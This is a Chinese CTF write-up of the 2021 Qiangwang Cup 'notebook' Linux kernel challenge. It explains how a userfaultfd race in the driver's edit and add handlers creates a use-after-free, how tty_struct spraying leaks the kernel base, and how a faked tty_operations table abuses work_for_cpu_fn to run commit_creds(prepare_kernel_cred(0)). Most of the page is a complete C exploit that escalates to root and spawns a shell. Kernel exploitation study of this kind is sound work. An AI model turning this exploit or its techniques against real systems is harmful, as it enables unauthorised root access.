-
-
[原创]强网杯线上赛Linux内核Pwn之notebook
-
2021-7-14 19:58 9923
-
强网杯线上赛内核pwn notebook详解
刚刚从强网杯的线下赛回来,想整理一下这届强网杯我觉得不错的一些题or思路。
题目概览
缓解:kaslr,smep,smap
额外加固:slab hardened
之前发现了一个从bzImage中提取vmlinux并恢复部分符号的脚本,还不错:
https://github.com/marin-m/vmlinux-to-elf
mynote_ioctl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | __int64 __fastcall mynote_ioctl( file * file , unsigned int cmd, unsigned __int64 arg) { __int64 v3; / / rdx userarg notearg; / / [rsp + 0h ] [rbp - 28h ] _fentry__( file ); copy_from_user(¬earg, v3, 0x18LL ); if ( cmd = = 0x100 ) return noteadd(notearg.idx, notearg.size, notearg.buf); if ( cmd < = 0x100 ) { if ( cmd = = 0x64 ) return notegift(notearg.buf); } else { if ( cmd = = 0x200 ) return notedel(notearg.idx); if ( cmd = = 0x300 ) return noteedit(notearg.idx, notearg.size, notearg.buf); } printk( "[x] Unknown ioctl cmd!\n" , notearg.size); return - 100LL ; } |
noteadd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | __int64 __fastcall noteadd(size_t idx, size_t my_size, void * buf) { __int64 v3; / / rdx __int64 user_buf; / / r13 note * entry; / / rbx size_t orgisize; / / r14 __int64 ret; / / rbx _fentry__(idx); if ( idx > 0xF ) / / 无法对 0x10 进行add { ret = - 1LL ; printk( "[x] Add idx out of range.\n" , my_size); } else / / idx不越界的话 { user_buf = v3; entry = ¬ebook[idx]; raw_read_lock(&lock); / / 读锁 orgisize = entry - >size; / / 首先保存原有的size(如果对应的idx中本来就有信息) entry - >size = my_size; / / 赋值为新size if ( my_size > 0x60 ) / / 如果超过 0x60 ,恢复size,ret { entry - >size = orgisize; ret = - 2LL ; printk( "[x] Add size out of range.\n" , my_size); } else / / size< = 0x60 为合法的size { copy_from_user(name, user_buf, 0x100LL ); if ( entry - >note ) / / 如果note存在的话,恢复size,ret { entry - >size = orgisize; ret = - 3LL ; printk( "[x] Add idx is not empty.\n" , user_buf); } else / / 如果note不存在,此时可以正常进行添加 { entry - >note = _kmalloc(my_size, 0x24000C0LL ); printk( "[+] Add success. %s left a note.\n" , name); ret = 0LL ; } } raw_read_unlock(&lock); } return ret; } |
noteedit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | __int64 __fastcall noteedit(size_t idx, size_t newsize, void * buf) { __int64 buf_1; / / rdx __int64 user_buf; / / r13 note * entry; / / rbx size_t orgisize; / / rax __int64 addr; / / r12 __int64 ret; / / rbx _fentry__(idx); if ( idx > 0xF ) / / 无法对 0x10 进行edit { ret = - 1LL ; printk( "[x] Edit idx out of range.\n" , newsize); return ret; } user_buf = buf_1; entry = ¬ebook[idx]; raw_read_lock(&lock); / / 读锁 orgisize = entry - >size; / / 保存原本的size entry - >size = newsize; / / 先把newsize赋值过去 if ( orgisize = = newsize ) { ret = 1LL ; goto editout; } addr = ( * krealloc.gap0)(entry - >note, newsize, 0x24000C0LL ); / / free掉本来的chunk,然后申请新的chunk copy_from_user(name, user_buf, 0x100LL ); / / 从第三个参数user_buf拷贝数据,如果此时userbuf没有初始化调入内存,那么会触发userfaultfd if ( !entry - >size ) / / 如果新的size为 0 ,等价于kfree(entry - >note) { printk( "free in fact" , user_buf); entry - >note = 0LL ; ret = 0LL ; goto editout; } if ( _virt_addr_valid(addr) ) / / 如果是有效地址的话 { entry - >note = addr; / / 这里只用更新addr,因为size已经在前面更新过了 ret = 2LL ; editout: raw_read_unlock(&lock); printk( "[o] Edit success. %s edit a note.\n" , name); return ret; } printk( "[x] Return ptr unvalid.\n" , user_buf); raw_read_unlock(&lock); return 3LL ; } |
notegift
1 2 3 4 5 6 7 8 9 10 | __int64 __fastcall notegift(void * buf) { __int64 v1; / / rsi _fentry__(buf); printk( "[*] The notebook needs to be written from beginning to end.\n" , v1); copy_to_user(buf, notebook, 0x100LL ); printk( "[*] For this special year, I give you a gift!\n" , notebook); return 100LL ; } |
mynote_write
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | ssize_t __fastcall mynote_write( file * file , const char * user_buf, size_t idx, loff_t * pos) { unsigned __int64 idx_1; / / rdx unsigned __int64 index; / / rdx size_t nbytes; / / r13 void * addr; / / rbx ssize_t result; / / rax _fentry__( file ); if ( idx_1 > 0x10 ) { printk( "[x] Write idx out of range.\n" , user_buf); result = - 1LL ; } else { index = idx_1; nbytes = notebook[index].size; addr = notebook[index].note; _check_object_size(addr, nbytes, 0LL ); if ( copy_from_user(addr, user_buf, nbytes) ) { printk( "[x] copy from user error.\n" , user_buf); result = 0LL ; } else { printk( "[*] Write success.\n" , user_buf); result = 0LL ; } } return result; } |
mynote_read
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | ssize_t __fastcall mynote_read( file * file , char * user_buf, size_t idx, loff_t * pos) { unsigned __int64 idx_1; / / rdx unsigned __int64 index; / / rdx size_t nbytes; / / r13 void * addr; / / rbx ssize_t result; / / rax _fentry__( file ); if ( idx_1 > 0x10 ) / / 可以read 0x10 { printk( "[x] Read idx out of range.\n" , user_buf); result = - 1LL ; } else / / 可以读取 0x10 处的内容 { index = idx_1; nbytes = notebook[index].size; addr = notebook[index].note; _check_object_size(addr, nbytes, 1LL ); copy_to_user(user_buf, addr, nbytes); printk( "[*] Read success.\n" , addr); result = 0LL ; } return result; } |
利用思路
本篇文章讲解的利用思路是依据线上赛冠军队 @长亭科技 的WP,感觉比我自己的要稳定和便利很多。
思路一(非race泄漏地址)
Step1:
首先我们多次打开ptmx结构体,在打开的时候会在 alloc_tty_struct
函数中调用 tty = kzalloc(sizeof(*tty), GFP_KERNEL);
分配空间(大小0x2e0),对应的是 kmalloc-1024
。
Step2:
然后系统会将tty struct中的struct tty_operations
初始为全局内核变量 ptm_unix98_ops
,它是可以从 /proc/kallsyms
中获取相应地址/偏移。
Step3:
之后将喷射后的tty struct通过close给free出去。然后调用noteedit调整note大小到0x2e0,申请多个0x2e0的note,那么就会把我们free出去的tty struct拿回来。输出 ((uint64_t *)note)[3]
位置的值减去偏移即可泄漏kernel base。
思路二(race构造UAF泄漏地址)
我们把目光放在两个用了读锁的函数。发现:
- 对于
noteedit
,首先会赋值entry->size = new_size
,然后执行krealloc
调整大小,然后会有一个copy_from_user(name, user_buf, 0x100LL)
,在这之后才会更新notelist对应entry->note
- 对于
noteadd
,首先会赋值entry->size = size
,如果size大于0x60则恢复为原有的size,之后先进行copy_from_user(name, user_buf, 0x100LL);
然后再kmalloc更新note entry地址。
于是这就产生了一个问题,如果将 user_buf
设置为一个为没有初始化的内存区域。并且不在userfault中起额外的handler做内存恢复。那么这两个函数就会一直卡在copy_from_user之前。
而krealloc又可以产生一个free操作,也就是说现在我们可以通过userfault来制造出一个任意大小的UAF。(因为被卡住的thread无法执行copy_from_user之后的更新notelist中相关地址的代码)
Step1:
首先我们注册自己的userfaultfd,监控一块未初始化的内存,而在add和edit的时候由于其只拿了读写锁中的读锁,而不是互斥的写锁,那么这两个函数其实是可以并发的。我们注意到在noteedit和noteadd中都有 copy_from_user(name, user_buf, 0x100LL);
这个从用户态的 user_buf
拷贝的操作,那么我们设置user_buf为mmap后未初始化的内存,在这里触发userfault,当缺页发生时,程序会阻塞掉。我们将notelist填满0x2e0大小的chunk,然后开启0x10个edit线程,0x10个add线程。通过edit线程krealloc对应note为一个很大的size ,此时会触发krealloc的kfree,将我们0x2e0的chunk进行free操作(但此时由于线程被卡在copy_from_user,notelist中的addr并没有被修改,仍是已经free后的chunk addr,但size此时变成了一个极大值,这里就是UAF的位置);接下来喷射大量的 tty_struct
把我们free chunk中填成tty_struct。然后通过add线程修改notelist中的chunksize为正常大小以通过 __check_object_size
的检查。
Step2:
第一步结束之后,notelist上的一些note已经被放置成了tty_struct
,我们通过read操作读取对应的notelist上的tty_struct
中的成员,泄漏kernel base(参见思路一,实际情况下这里可能是ptm_unix98_ops或者pty_unix98_ops)
Step3:
接下来,我们通过伪造一个fake_tty_ops放到notelist的其中项,在fake ops中,我们让ioctl函数指向 work_for_cpu_fn
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | __int64 __fastcall work_for_cpu_fn(_QWORD * a1) { _QWORD * v1; / / rbx __int64 ( * v2)(void); / / rax __int64 v3; / / rdi __int64 result; / / rax _fentry__(a1); v1 = a1; v2 = a1[ 4 ]; / / a1 + 32 v3 = a1[ 5 ]; / / a1 + 40 result = _x86_indirect_thunk_rax(v2); v1[ 6 ] = result; / / a1 + 48 return result; } |
这个函数是一个很好用的函数,其实做的事情非常简单,调用了 (a1+32),参数为 *(a1+40) ,返回值放在 (a1+48)的位置。配合我们的tty_struct。a1就指向notelist上之前race+UAF得到的tty_struct,然后伪造这个tty_struct 在偏移为32处的值为想调用的函数,40处的值为参数。返回值会被放在48的位置。
我们只需要布置出:
1 | commit_creds(prepare_kernel_cred( 0 )) |
即可。刚好这两个函数调用都只有一个参数,并且第二次调用使用了第一次调用的返回值。这些我们都可以控制。(节省了ROP的过程)
最后,针对ptmx调用ioctl函数,即可通过触发 work_for_cpu_fn
调用 commit_creds(prepare_kernel_cred(0))
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 | #define _GNU_SOURCE #include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #include <errno.h> #include <pty.h> #include <linux/tty.h> #include <pthread.h> #include <sys/mman.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/syscall.h> #include <signal.h> #include <fcntl.h> #include <sys/ioctl.h> #include <sys/ipc.h> #include <sys/sem.h> #include<stdint.h> #include <pthread.h> #include <sys/types.h> #include <sys/wait.h> #include "helper.h" #include <semaphore.h> #define N 256 #define ADD 0x100 #define LEAK 100 #define DEL 0x200 #define EDIT 0x300 #define TTY_STRUCT_SIZE 0x2E0 #define PAGE_SIZE (1 << 12) char * mod_path = "/dev/notebook" ; size_t mod_addr; static int fd; static int fd2; static int ptmx_fd[ 0x100 ]; int exit_flag = 0 ; size_t kernel_base = 0 ; size_t kernel_offset = 0 ; static int flag = 0 ; char buf[ 0x2000 ]; char read_buf[ 0x2000 ]; char buffer [ 0x1000 ]; void * stuck = (void * )FAULT_PAGE; / / addr trigger fault size_t victim_id; typedef struct arg{ uint64_t idx; uint64_t size; void * buf; }Notearg; size_t get_addr(char * name){ char t1[N]; FILE * f; size_t info; f = fopen( "/tmp/moduleaddr" , "r" ); if (!f){ printf( "fopen error!\n" ); exit( - 1 ); } fscanf(f, "%s%d%d%s%s%lx" ,t1,t1,t1,t1,t1,&info); / / printf( "%s : %lx\n" ,name,info); fclose(f); return info; } Notearg constructor( int fd , uint64_t idx,uint64_t size,void * buf) { unsigned int cmd = ADD; Notearg arg = { .idx = idx, .size = size, .buf = buf, }; int ret_val = ioctl(fd,cmd,(uint64_t)&arg); if (ret_val < 0 ){ / / printf( "constructor failed [id] %d\n" ,fd); exit( - 1 ); } / / printf( "[*] constructor success, note id: 0x%x\n" ,idx); return arg; / / return arg; } void leak( int fd,Notearg * ptr) { unsigned int cmd = LEAK; int ret = ioctl(fd,cmd,(uint64_t)ptr); } __attribute__((constructor)) static void Init ( void ) { setvbuf(stdin, 0 , 2 , 0 ); setvbuf(stdout, 0 , 2 , 0 ); setvbuf(stderr, 0 , 2 , 0 ); mod_addr = get_addr( "notebook" ); printf( "[+] notebook load addr:0x%lx\n" ,mod_addr); } int noteedit( int fd , uint64_t idx,uint64_t newsize,void * buf) { unsigned int cmd = EDIT; Notearg arg = { .idx = idx, .size = newsize, .buf = buf, }; int ret_val = ioctl(fd, cmd, (uint64_t)&arg); / / printf( "[ret] %d realloc new size:0x%lx\n" ,ret_val,newsize); return 0 ; } int notefree( int fd, int idx) { int ret; unsigned int cmd = DEL; Notearg arg = { .idx = idx, }; ret = ioctl(fd,cmd,(uint64_t)&arg); if (ret< 0 ){printf( "[ret] %d [index] %d free failed" ,ret,idx);} / / printf( "[id] %d free success\n" ,idx); }; void shell(){ system( "/bin/sh" ); } void dump(Notearg arg){ leak(fd, &arg); for ( int j,i = 0 ;i< 0x10 * 2 ;i = i + 2 ){ j = i + 1 ; printf( "[--dump--] 0x%lx\t0x%lx\n" ,((uint64_t * )(&arg) - >buf)[i], ((uint64_t * )(&arg) - >buf)[j]); } } sem_t add;sem_t edit; void * evil_thread_noteadd(void * arg){ sem_wait(&add); / / printf( "[+] evil_thread_noteadd\n" ); constructor(fd,( int )arg, 0x60 ,stuck); / / trigger our userfaultfd return NULL; } void * evil_thread_noteedit(void * arg){ sem_wait(&edit); / / printf( "[+] evil_thread_noteedit\n" ); noteedit(fd,( int )arg, 0x2000 , stuck); / / trigger our userfaultfd return NULL; } void * handler(void * arg){ struct uffd_msg msg; unsigned long uffd = (unsigned long )arg; puts( "[+] leak_handler created" ); / / getchar(); sleep( 3 ); / / 休眠一下,留给子进程足够时间操作 puts( "[+] restore stuck begin" ); struct pollfd pollfd; int nready; pollfd.fd = uffd; pollfd.events = POLLIN; / / poll会阻塞,直到收到缺页错误的消息 nready = poll(&pollfd, 1 , - 1 ); if (nready ! = 1 ) puts( "[-] Wrong pool return value" ); nready = read(uffd, &msg, sizeof(msg)); if (nready < = 0 ) { puts( "[-]msg error!!" ); } char * page = (char * )mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, - 1 , 0 ); if (page = = MAP_FAILED) puts( "[-]mmap page error!!" ); struct uffdio_copy uc; / / 初始化page页 memset(page, 0 , sizeof(page)); uc.src = (unsigned long )page; / / 出现缺页的位置 uc.dst = (unsigned long )msg.arg.pagefault.address & ~(PAGE_SIZE - 1 );; uc. len = PAGE_SIZE; uc.mode = 0 ; uc.copy = 0 ; / / 复制数据到缺页处,并恢复copy_user_generic_unrolled的执行 / / 然而,我们在阻塞的这段时间,堆 0 的内容已经是tty_struct结构 / / 因此,copy_user_generic_unrolled将会把tty_struct的结构复制给我们用户态 ioctl(uffd, UFFDIO_COPY, &uc); puts( "[+] handler done!!" ); return NULL; } / / read stuct (trigger) - > child process free & spray - > userfault_handler restore stuck - > read from stuck int main() { signal(SIGSEGV, shell); save_status(); set_cpu_affinity(); memset(buf, 0 ,sizeof(buf)); memset(read_buf, 0 ,sizeof(read_buf)); printf( "[+] buf addr:%p\n" ,buf); fd = open (mod_path,O_RDWR); if (fd < 0 ){perror( "[-] fd open failed" );exit( - 1 );} fd2 = open (mod_path,O_RDWR); if (fd2 < 0 ){perror( "[-] fd2 open failed" );exit( - 1 );} sem_init(&edit, 0 , 0 ); / / 初始化信号量 sem_init(&add, 0 , 0 ); register_userfault(handler); / / 注册新的userfault,监视:void * stuck = (void * )FAULT_PAGE; Notearg arg = constructor(fd , 0 , 0x60 ,buf); for ( int i = 0 ;i< 0x10 ;i + + ){ noteedit(fd,i,TTY_STRUCT_SIZE,buf); } / / dump(arg); sleep( 1 ); pthread_t edit_thread; pthread_t add_thread; for ( int index = 0 ;index< 0x10 ;index + + ){ if (pthread_create(&edit_thread,NULL,evil_thread_noteedit,(void * )index)){ perror( "pthread_create() failed" ); exit( - 1 ); } } printf( "[+] 0x10 edit_threads are set-up : | \n" ); for ( int i = 0 ;i< 0x10 ;i + + ){ sem_post(&edit); } printf( "[+] 0x10 edit_threads launch : ) \n" ); sleep( 1 ); / / 此时我们原本申请的多个 0x2e0 的chunk已经被krealloc free掉,但是由于krealloc后的copy_from_user触发了userfault,导致线程一直被卡住,不会更新notelist上的entry / / 接下来我们喷射大量的 tty_truct 希望可以将tty_struct喷射到刚刚free掉的chunk中。 for ( int i = 0 ;i< 0x100 ;i + + ){ ptmx_fd[i] = open ( "/dev/ptmx" , 1 ); if (ptmx_fd[i]< = 0 ){printf( "open ptmx failed\n" );} } printf( "[+] spray 0x100 tty success : )\n" ); / / dump(arg); / / getchar(); sleep( 1 ); for ( int index = 0 ;index< 0x10 ;index + + ){ if (pthread_create(&add_thread,NULL,evil_thread_noteadd,(void * )index)){ perror( "pthread_create() failed" ); exit( - 1 ); } } printf( "[+] 0x10 add_threads are set-up : | \n" ); for ( int i = 0 ;i< 0x10 ;i + + ){ sem_post(&add); } printf( "[+] 0x10 add_threads launch : ) \n" ); sleep( 1 ); / / dump(arg); / / getchar(); for ( int i = 0 ;i< 0x10 ;i + + ){ read(fd,read_buf,i); if ((((size_t * )read_buf)[ 3 ]& 0xfff ) = = 0x320 ){ puts( "[*] detect pty_unix98_ops success : )" ); victim_id = i; printf( "[*] victim id:%d\n" ,victim_id); kernel_base = ((uint64_t * )read_buf)[ 3 ] - 0xe8e320 ; kernel_offset = get_kernel_offset(kernel_base); break ; } if ((((size_t * )read_buf)[ 3 ]& 0xfff ) = = 0x440 ){ puts( "[*] detect ptm_unix98_ops success : )" ); victim_id = i; printf( "[*] victim id:%d\n" ,victim_id); kernel_base = ((uint64_t * )read_buf)[ 3 ] - 0xe8e440 ; kernel_offset = get_kernel_offset(kernel_base); break ; } } if (kernel_base = = 0 || (kernel_base & 0xfff )! = 0 ){puts( "[-] leak kernel base failed" );exit( 0 );} printf( "[+] kernel base:%#lx\n" ,kernel_base); printf( "[+] kernel offset:%#lx\n" ,kernel_offset); size_t prepare_kernel_cred = 0xffffffff810a9ef0 + kernel_offset; size_t commit_creds = 0xffffffff810a9b40 + kernel_offset; size_t work_for_cpu_fn = 0xffffffff8109eb90 + kernel_offset; printf( "[+] prepare_kernel_cred:%#lx\n" ,prepare_kernel_cred); printf( "[+] commit_creds:%#lx\n" ,commit_creds); printf( "[+] work_for_cpu_fn:%#lx\n" ,work_for_cpu_fn); / * 接下来生成fake ops * / void * fake_tty_ops = malloc(sizeof(struct tty_operations)); printf( "[+] %p\n" ,fake_tty_ops); noteedit(fd, 8 ,sizeof(struct tty_operations),buf); / / 将fake ops放到 0x8 的chunk dump(arg); ((struct tty_operations * )fake_tty_ops) - >ioctl = work_for_cpu_fn; write(fd,fake_tty_ops, 8 ); / / 将fake ops的ioctl改成work_for_cpu_fn uint64_t target_ops,target_tty_struct; leak(fd, &arg); for ( int j,i = 0 ;i< 0x10 * 2 ;i = i + 2 ){ j = i + 1 ; / / printf( "[--dump--] 0x%lx\t0x%lx\n" ,((uint64_t * )(&arg) - >buf)[i], ((uint64_t * )(&arg) - >buf)[j]); if (((uint64_t * )(&arg) - >buf)[j] = = 0x100 ){ target_ops = ((uint64_t * )(&arg) - >buf)[i]; } if (i = = victim_id){ target_tty_struct = ((uint64_t * )(&arg) - >buf)[i]; } } printf( "[+] target_tty_struct:%#lx\n" ,target_tty_struct); / / 我们要攻击的tty struct地址 printf( "[+] target_ops:%#lx\n" ,target_ops); / / 我们把fake ops放在了哪里 read(fd, buffer ,victim_id); uint64_t ori_val_at_offset_48; / / 调用ptmx的ioctl触发prepare_kernel_cred,因为ioctl第一个参数指向其本身(tty struct) ori_val_at_offset_48 = * (uint64_t * )( buffer + 48 ); / / 因为后续的操作会破坏这里的值,所以我们首先保存一下 * (uint64_t * )( buffer + 24 ) = target_ops; / / const struct tty_operations * ops; * (uint64_t * )( buffer + 32 ) = prepare_kernel_cred; / / prepare_kernel_cred( 0 ); * (uint64_t * )( buffer + 40 ) = 0 ; / / 第一个参数 write(fd, buffer ,victim_id); int ret; printf( "[+] Trigger prepare_kernel_cred()\n" ); / / 0xffffffff815b9f70 <pty_unix98_ioctl>: for ( int i = 0 ;i< 0x100 ;i + + ){ ret = ioctl(ptmx_fd[i], 233 , 233 ); } sleep( 2 ); uint64_t ret_val_at_offset_48; read(fd, buffer ,victim_id); ret_val_at_offset_48 = * (uint64_t * )( buffer + 48 ); / / 从偏移为 48 的位置获取返回值 printf( "[+] buffer addr: %p\n" , buffer ); getchar(); printf( "[+] Return by prepare_kernel_cred():%#lx\n" ,ret_val_at_offset_48); * (uint64_t * )( buffer + 32 ) = commit_creds; / / commit_creds * (uint64_t * )( buffer + 40 ) = ret_val_at_offset_48; / / 第一个参数为prepare_kernel_cred( 0 )的返回值 * ((uint64_t * ) buffer + 48 ) = ori_val_at_offset_48; / / restore offset 48 write(fd, buffer ,victim_id); / / getchar(); printf( "[+] Trigger commit_creds()\n" ); for ( int i = 0 ;i< 0x100 ;i + + ){ ret = ioctl(ptmx_fd[i], 233 , 233 ); } printf( "[+] getuid() = %d\n" ,getuid()); if (getuid() = = 0 ){ printf( "\n\n[*] Pwned by ScUpax0s!\n" ); shell(); } else { printf( "[-] Privileged fail\n" ); exit( 0 ); } getchar(); close(fd); close(fd2); return 0 ; } |
效果: